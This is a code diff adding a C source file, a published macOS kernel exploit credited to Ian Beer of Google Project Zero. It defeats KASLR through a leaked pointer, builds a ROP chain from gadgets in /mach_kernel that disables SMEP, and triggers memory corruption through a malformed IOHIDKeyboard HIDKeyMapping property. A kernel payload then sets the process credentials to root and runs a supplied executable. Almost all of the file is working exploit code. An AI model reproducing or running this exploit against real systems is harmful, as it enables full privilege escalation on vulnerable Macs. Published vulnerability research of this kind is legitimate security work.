|
| 1 | +// |
| 2 | +// Source: https://code.google.com/p/google-security-research/issues/detail?id=126 |
| 3 | +// Blog Post: http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html |
| 4 | +// Exploit Author: Ian Beer |
| 5 | +// |
| 6 | + |
| 7 | +// clang -o key_exploit key_exploit.c -framework CoreFoundation -framework IOKit -g -D_FORTIFY_SOURCE=0 |
| 8 | +// ianbeer |
| 9 | +#include <stdint.h> |
| 10 | +#include <stdio.h> |
| 11 | +#include <stdlib.h> |
| 12 | +#include <sys/mman.h> |
| 13 | +#include <sys/stat.h> |
| 14 | +#include <unistd.h> |
| 15 | + |
| 16 | +#include <CoreFoundation/CoreFoundation.h> |
| 17 | +#include <IOKit/IOKitLib.h> |
| 18 | + |
| 19 | +uint64_t kernel_symbol(char* sym){ |
| 20 | + char cmd[1024]; |
| 21 | + strcpy(cmd, "nm -g /mach_kernel | grep "); |
| 22 | + strcat(cmd, sym); |
| 23 | + strcat(cmd, " | cut -d' ' -f1"); |
| 24 | + FILE* f = popen(cmd, "r"); |
| 25 | + char offset_str[17]; |
| 26 | + fread(offset_str, 16, 1, f); |
| 27 | + pclose(f); |
| 28 | + offset_str[16] = '\x00'; |
| 29 | + |
| 30 | + uint64_t offset = strtoull(offset_str, NULL, 16); |
| 31 | + return offset; |
| 32 | +} |
| 33 | + |
| 34 | +uint64_t leaked_offset_in_kext(){ |
| 35 | + FILE* f = popen("nm -g /System/Library/Extensions/IONDRVSupport.kext/IONDRVSupport | grep __ZTV17IONDRVFramebuffer | cut -d' ' -f1", "r"); |
| 36 | + char offset_str[17]; |
| 37 | + fread(offset_str, 16, 1, f); |
| 38 | + pclose(f); |
| 39 | + offset_str[16] = '\x00'; |
| 40 | + |
| 41 | + uint64_t offset = strtoull(offset_str, NULL, 16); |
| 42 | + offset += 0x10; //offset from symbol to leaked pointer |
| 43 | + return offset; |
| 44 | +} |
| 45 | + |
| 46 | + |
| 47 | +uint64_t leak(){ |
| 48 | + io_iterator_t iter; |
| 49 | + |
| 50 | + CFTypeRef p = IORegistryEntrySearchCFProperty(IORegistryGetRootEntry(kIOMasterPortDefault), |
| 51 | + kIOServicePlane, |
| 52 | + CFSTR("AAPL,iokit-ndrv"), |
| 53 | + kCFAllocatorDefault, |
| 54 | + kIORegistryIterateRecursively); |
| 55 | + |
| 56 | + if (CFGetTypeID(p) != CFDataGetTypeID()){ |
| 57 | + printf("expected CFData\n"); |
| 58 | + return 1; |
| 59 | + } |
| 60 | + |
| 61 | + if (CFDataGetLength(p) != 8){ |
| 62 | + printf("expected 8 bytes\n"); |
| 63 | + return 1; |
| 64 | + } |
| 65 | + |
| 66 | + uint64_t leaked = *((uint64_t*)CFDataGetBytePtr(p)); |
| 67 | + return leaked; |
| 68 | +} |
| 69 | + |
| 70 | +extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); |
| 71 | + |
| 72 | +uint64_t load_addr(){ |
| 73 | + uint64_t addr = 0; |
| 74 | + CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL); |
| 75 | + CFIndex count = CFDictionaryGetCount(kd); |
| 76 | + |
| 77 | + void **keys; |
| 78 | + void **values; |
| 79 | + |
| 80 | + keys = (void **)malloc(sizeof(void *) * count); |
| 81 | + values = (void **)malloc(sizeof(void *) * count); |
| 82 | + |
| 83 | + CFDictionaryGetKeysAndValues(kd, |
| 84 | + (const void **)keys, |
| 85 | + (const void **)values); |
| 86 | + |
| 87 | + for(CFIndex i = 0; i < count; i++){ |
| 88 | + const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman); |
| 89 | + if (strcmp(name, "com.apple.iokit.IONDRVSupport") == 0){ |
| 90 | + CFNumberGetValue(CFDictionaryGetValue(values[i], |
| 91 | + CFSTR("OSBundleLoadAddress")), |
| 92 | + kCFNumberSInt64Type, |
| 93 | + &addr); |
| 94 | + printf("%s: %p\n", name, addr); |
| 95 | + break; |
| 96 | + } |
| 97 | + } |
| 98 | + return addr; |
| 99 | +} |
| 100 | + |
| 101 | +uint64_t* build_vtable(uint64_t kaslr_slide, uint64_t payload, size_t* len){ |
| 102 | + uint64_t pivot, mov_rax_cr4, mov_cr4_rax, pop_rcx, xor_rax_rcx, pop_pop_ret; |
| 103 | + |
| 104 | + uint64_t kernel_base = 0xffffff8000200000; |
| 105 | + kernel_base += kaslr_slide; |
| 106 | + |
| 107 | + int fd = open("/mach_kernel", O_RDONLY); |
| 108 | + if (!fd) |
| 109 | + return NULL; |
| 110 | + |
| 111 | + struct stat _stat; |
| 112 | + fstat(fd, &_stat); |
| 113 | + size_t buf_len = _stat.st_size; |
| 114 | + |
| 115 | + uint8_t* buf = mmap(NULL, buf_len, PROT_READ, MAP_FILE|MAP_PRIVATE, fd, 0); |
| 116 | + |
| 117 | + if (!buf) |
| 118 | + return NULL; |
| 119 | + |
| 120 | + /* |
| 121 | + this stack pivot to rax seems to be reliably present across mavericks versions: |
| 122 | + push rax |
| 123 | + add [rax], eax |
| 124 | + add [rbx+0x41], bl |
| 125 | + pop rsp |
| 126 | + pop r14 |
| 127 | + pop r15 |
| 128 | + pop rbp |
| 129 | + ret |
| 130 | + */ |
| 131 | + uint8_t pivot_gadget_bytes[] = {0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e}; |
| 132 | + uint8_t* pivot_loc = memmem(buf, buf_len, pivot_gadget_bytes, sizeof(pivot_gadget_bytes)); |
| 133 | + uint64_t pivot_gadget_offset = (uint64_t)(pivot_loc - buf); |
| 134 | + printf("offset of pivot gadget: %p\n", pivot_gadget_offset); |
| 135 | + pivot = kernel_base + pivot_gadget_offset; |
| 136 | + |
| 137 | + /* |
| 138 | + mov rax, cr4 |
| 139 | + mov [rcx], rax |
| 140 | + pop rbp |
| 141 | + ret |
| 142 | + */ |
| 143 | + uint8_t mov_rax_cr4_gadget_bytes[] = {0x0f, 0x20, 0xe0, 0x48, 0x89, 0x01, 0x5d, 0xc3}; |
| 144 | + uint8_t* mov_rax_cr4_loc = memmem(buf, buf_len, mov_rax_cr4_gadget_bytes, sizeof(mov_rax_cr4_gadget_bytes)); |
| 145 | + uint64_t mov_rax_cr4_gadget_offset = (uint64_t)(mov_rax_cr4_loc - buf); |
| 146 | + printf("offset of mov_rax_cr4 gadget: %p\n", mov_rax_cr4_gadget_offset); |
| 147 | + mov_rax_cr4 = kernel_base + mov_rax_cr4_gadget_offset; |
| 148 | + |
| 149 | + /* |
| 150 | + mov cr4, rax |
| 151 | + pop rbp |
| 152 | + ret |
| 153 | + */ |
| 154 | + uint8_t mov_cr4_rax_gadget_bytes[] = {0x0f, 0x22, 0xe0, 0x5d, 0xc3}; |
| 155 | + uint8_t* mov_cr4_rax_loc = memmem(buf, buf_len, mov_cr4_rax_gadget_bytes, sizeof(mov_cr4_rax_gadget_bytes)); |
| 156 | + uint64_t mov_cr4_rax_gadget_offset = (uint64_t)(mov_cr4_rax_loc - buf); |
| 157 | + printf("offset of mov_cr4_rax gadget: %p\n", mov_cr4_rax_gadget_offset); |
| 158 | + mov_cr4_rax = kernel_base + mov_cr4_rax_gadget_offset; |
| 159 | + |
| 160 | + /* |
| 161 | + pop rcx |
| 162 | + ret |
| 163 | + */ |
| 164 | + uint8_t pop_rcx_gadget_bytes[] = {0x59, 0xc3}; |
| 165 | + uint8_t* pop_rcx_loc = memmem(buf, buf_len, pop_rcx_gadget_bytes, sizeof(pop_rcx_gadget_bytes)); |
| 166 | + uint64_t pop_rcx_gadget_offset = (uint64_t)(pop_rcx_loc - buf); |
| 167 | + printf("offset of pop_rcx gadget: %p\n", pop_rcx_gadget_offset); |
| 168 | + pop_rcx = kernel_base + pop_rcx_gadget_offset; |
| 169 | + |
| 170 | + |
| 171 | + /* |
| 172 | + xor rax, rcx |
| 173 | + pop rbp |
| 174 | + ret |
| 175 | + */ |
| 176 | + uint8_t xor_rax_rcx_gadget_bytes[] = {0x48, 0x31, 0xc8, 0x5d, 0xc3}; |
| 177 | + uint8_t* xor_rax_rcx_loc = memmem(buf, buf_len, xor_rax_rcx_gadget_bytes, sizeof(xor_rax_rcx_gadget_bytes)); |
| 178 | + uint64_t xor_rax_rcx_gadget_offset = (uint64_t)(xor_rax_rcx_loc - buf); |
| 179 | + printf("offset of xor_rax_rcx gadget: %p\n", xor_rax_rcx_gadget_offset); |
| 180 | + xor_rax_rcx = kernel_base + xor_rax_rcx_gadget_offset; |
| 181 | + |
| 182 | + /* need this to jump over the vtable index which will be called: |
| 183 | + pop r15 |
| 184 | + pop rbp |
| 185 | + ret |
| 186 | + */ |
| 187 | + uint8_t pop_pop_ret_gadget_bytes[] = {0x41, 0x5f, 0x5d, 0xc3}; |
| 188 | + uint8_t* pop_pop_ret_loc = memmem(buf, buf_len, pop_pop_ret_gadget_bytes, sizeof(pop_pop_ret_gadget_bytes)); |
| 189 | + uint64_t pop_pop_ret_gadget_offset = (uint64_t)(pop_pop_ret_loc - buf); |
| 190 | + printf("offset of pop_pop_ret gadget: %p\n", pop_pop_ret_gadget_offset); |
| 191 | + pop_pop_ret = kernel_base + pop_pop_ret_gadget_offset; |
| 192 | + |
| 193 | + munmap(buf, buf_len); |
| 194 | + close(fd); |
| 195 | + |
| 196 | + void* writable_scratch = malloc(8); |
| 197 | + memset(writable_scratch, 0, 8); |
| 198 | + |
| 199 | + uint64_t rop_stack[] = { |
| 200 | + 0, //pop r14 |
| 201 | + 0, //pop r15 |
| 202 | + 0, //pop rbp +10 |
| 203 | + pop_pop_ret, |
| 204 | + 0, //+20 |
| 205 | + pivot, //+28 |
| 206 | + pop_rcx, |
| 207 | + (uint64_t)writable_scratch, |
| 208 | + mov_rax_cr4, |
| 209 | + 0, //pop rbp |
| 210 | + pop_rcx, |
| 211 | + 0x00100000, //SMEP bit in cr4 |
| 212 | + xor_rax_rcx, //flip it |
| 213 | + 0, //pop rbp |
| 214 | + mov_cr4_rax, //write back to cr4 |
| 215 | + 0, //pop rbp |
| 216 | + payload //SMEP is now disabled so ret to payload in userspace |
| 217 | + }; |
| 218 | + |
| 219 | + uint64_t* r = malloc(sizeof(rop_stack)); |
| 220 | + memcpy(r, rop_stack, sizeof(rop_stack)); |
| 221 | + *len = sizeof(rop_stack); |
| 222 | + return r; |
| 223 | +} |
| 224 | + |
| 225 | +void (*IOLockUnlock) (void*); |
| 226 | +int (*KUNCExecute)(char*, int, int); |
| 227 | +void (*thread_exception_return)(); |
| 228 | +void* (*proc_ucred)(void*); |
| 229 | +void* (*kauth_cred_get)(); |
| 230 | +void* (*kauth_cred_setuidgid)(void*, int, int); |
| 231 | +void* (*current_proc)(); |
| 232 | + |
| 233 | +void rebase_kernel_payload(uint64_t kaslr_slide){ |
| 234 | + IOLockUnlock = kernel_symbol("_lck_mtx_unlock") + kaslr_slide; |
| 235 | + KUNCExecute = kernel_symbol("_KUNCExecute") + kaslr_slide; |
| 236 | + thread_exception_return = kernel_symbol("_thread_exception_return") + kaslr_slide; |
| 237 | + proc_ucred = kernel_symbol("_proc_ucred") + kaslr_slide; |
| 238 | + kauth_cred_get = kernel_symbol("_kauth_cred_get") + kaslr_slide; |
| 239 | + kauth_cred_setuidgid = kernel_symbol("_kauth_cred_setuidgid") + kaslr_slide; |
| 240 | + current_proc = kernel_symbol("_current_proc") + kaslr_slide; |
| 241 | +} |
| 242 | + |
| 243 | +// rather than working out the offset of p_ucred in the proc structure just get |
| 244 | +// the code to tell us :) |
| 245 | +// proc_ucred just does return arg->u_cred |
| 246 | +uint64_t find_ucred_offset(){ |
| 247 | + uint64_t offsets[0x80]; |
| 248 | + for (int i = 0; i < 0x80; i++){ |
| 249 | + offsets[i] = i*8; |
| 250 | + } |
| 251 | + return proc_ucred(offsets); |
| 252 | +} |
| 253 | + |
| 254 | +// need to drop this IOLock: |
| 255 | +// IOLockLock( _deviceLock); |
| 256 | +// at code exec time rbx points to this, and this->_delegate->deviceLock is that lock |
| 257 | +// so need to call IOLockUnlock(rbx->_delegate->deviceLock) |
| 258 | +void kernel_payload(){ |
| 259 | + uint8_t* this; |
| 260 | + //__asm__("int $3"); |
| 261 | + __asm__("movq %%rbx, %0" : "=r"(this) : :); |
| 262 | + //this now points to the IOHIKeyboardMapper |
| 263 | + uint8_t* IOHIKeyboard = *((uint8_t**)(this+0x10)); |
| 264 | + void* _device_lock = *((void**)(IOHIKeyboard+0x88)); |
| 265 | + IOLockUnlock(_device_lock); |
| 266 | + |
| 267 | + // real kernel payload goes here: |
| 268 | + //KUNCExecute("/Applications/Calculator.app/Contents/MacOS/Calculator", 0, 0); |
| 269 | + //thread_exception_return(); |
| 270 | + |
| 271 | + // get root: |
| 272 | + uint64_t ucred_offset = find_ucred_offset(); |
| 273 | + void* old_cred = kauth_cred_get(); |
| 274 | + void* new_cred = kauth_cred_setuidgid(old_cred, 0, 0); |
| 275 | + uint8_t* proc = current_proc(); |
| 276 | + *((void**)(proc+ucred_offset)) = new_cred; |
| 277 | + thread_exception_return(); |
| 278 | +} |
| 279 | + |
| 280 | +void trigger(void* vtable, size_t vtable_len, char* exe){ |
| 281 | + kern_return_t err; |
| 282 | + |
| 283 | + CFMutableDictionaryRef matching = IOServiceMatching("IOHIDKeyboard"); |
| 284 | + if(!matching){ |
| 285 | + printf("unable to create service matching dictionary\n"); |
| 286 | + return; |
| 287 | + } |
| 288 | + |
| 289 | + io_iterator_t iterator; |
| 290 | + err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); |
| 291 | + if (err != KERN_SUCCESS){ |
| 292 | + printf("no matches\n"); |
| 293 | + return; |
| 294 | + } |
| 295 | + |
| 296 | + io_service_t service = IOIteratorNext(iterator); |
| 297 | + |
| 298 | + if (service == IO_OBJECT_NULL){ |
| 299 | + printf("unable to find service\n"); |
| 300 | + return; |
| 301 | + } |
| 302 | + printf("got service: %x\n", service); |
| 303 | + |
| 304 | + char* bad_mapping = malloc(0x10000); |
| 305 | + memset(bad_mapping, 0, 0x10000); |
| 306 | + |
| 307 | + uint8_t bad_header[] = { |
| 308 | + 0x00, 0x01, // nmd.shorts = 1 |
| 309 | + 0x00, 0x00, // numMods = 0 |
| 310 | + 0x00, 0x00, // numDefs = 0 |
| 311 | + 0x00, 0x90, // numSeqs = 0x90 |
| 312 | + }; |
| 313 | + |
| 314 | + memcpy(bad_mapping, bad_header, sizeof(bad_header)); |
| 315 | + |
| 316 | + uint8_t bad_seq[] = { |
| 317 | + 0x00, 0x02, // len |
| 318 | + 0x00, 0x78, 0x56, 0x00, // first entry |
| 319 | + 0x00, 0x00, 0x00, 0x00, // second entry |
| 320 | + 0xff, 0xff, // numMods |
| 321 | + }; |
| 322 | + |
| 323 | + memcpy(bad_mapping + sizeof(bad_header) + 0x8f*2, bad_seq, sizeof(bad_seq)); |
| 324 | + |
| 325 | + //need to overallocate and touch the pages since this will be the stack: |
| 326 | + mach_vm_address_t addr = 0x0000005678000000 - 10 * 0x1000; |
| 327 | + mach_vm_allocate(mach_task_self(), &addr, 0x20*0x1000, 0); |
| 328 | + |
| 329 | + memset(addr, 0, 0x20*0x1000); |
| 330 | + |
| 331 | + memcpy((void*)0x5678000200, vtable, vtable_len); |
| 332 | + /* |
| 333 | + uint64_t* vtable_entry = (uint64_t*)(0x0000005678000200 + 0x28); |
| 334 | + *vtable_entry = 0x123456789abcdef0; // call this address in ring0 |
| 335 | + */ |
| 336 | + |
| 337 | + |
| 338 | + CFDataRef data = CFDataCreate(NULL, bad_mapping, 0x10000); |
| 339 | + |
| 340 | + err = IORegistryEntrySetCFProperty( |
| 341 | + service, |
| 342 | + CFSTR("HIDKeyMapping"), |
| 343 | + data); |
| 344 | + |
| 345 | + execve(exe, NULL, NULL); |
| 346 | +} |
| 347 | + |
| 348 | +int main(int argc, char** argv) { |
| 349 | + if (argc < 2) { printf("Usage: ./%s [payload_exe]\n", argv[0]); exit(1); } |
| 350 | + |
| 351 | + uint64_t leaked_ptr = leak(); |
| 352 | + uint64_t kext_load_addr = load_addr(); |
| 353 | + |
| 354 | + // get the offset of that pointer in the kext: |
| 355 | + uint64_t offset = leaked_offset_in_kext(); //0x8cf0; |
| 356 | + |
| 357 | + // sanity check the leaked address against the symbol addr: |
| 358 | + if ( (leaked_ptr & 0xfff) != (offset & 0xfff) ){ |
| 359 | + printf("the leaked pointer doesn't match up with the expected symbol offset\n"); |
| 360 | + return 1; |
| 361 | + } |
| 362 | + |
| 363 | + uint64_t kaslr_slide = (leaked_ptr - offset) - kext_load_addr; |
| 364 | + |
| 365 | + printf("kaslr slide: %p\n", kaslr_slide); |
| 366 | + |
| 367 | + rebase_kernel_payload(kaslr_slide); |
| 368 | + |
| 369 | + size_t vtable_len = 0; |
| 370 | + void* vtable = build_vtable(kaslr_slide, kernel_payload, &vtable_len); |
| 371 | + |
| 372 | + trigger(vtable, vtable_len, argv[1]); |
| 373 | + |
| 374 | + return 0; |
| 375 | +} |
0 commit comments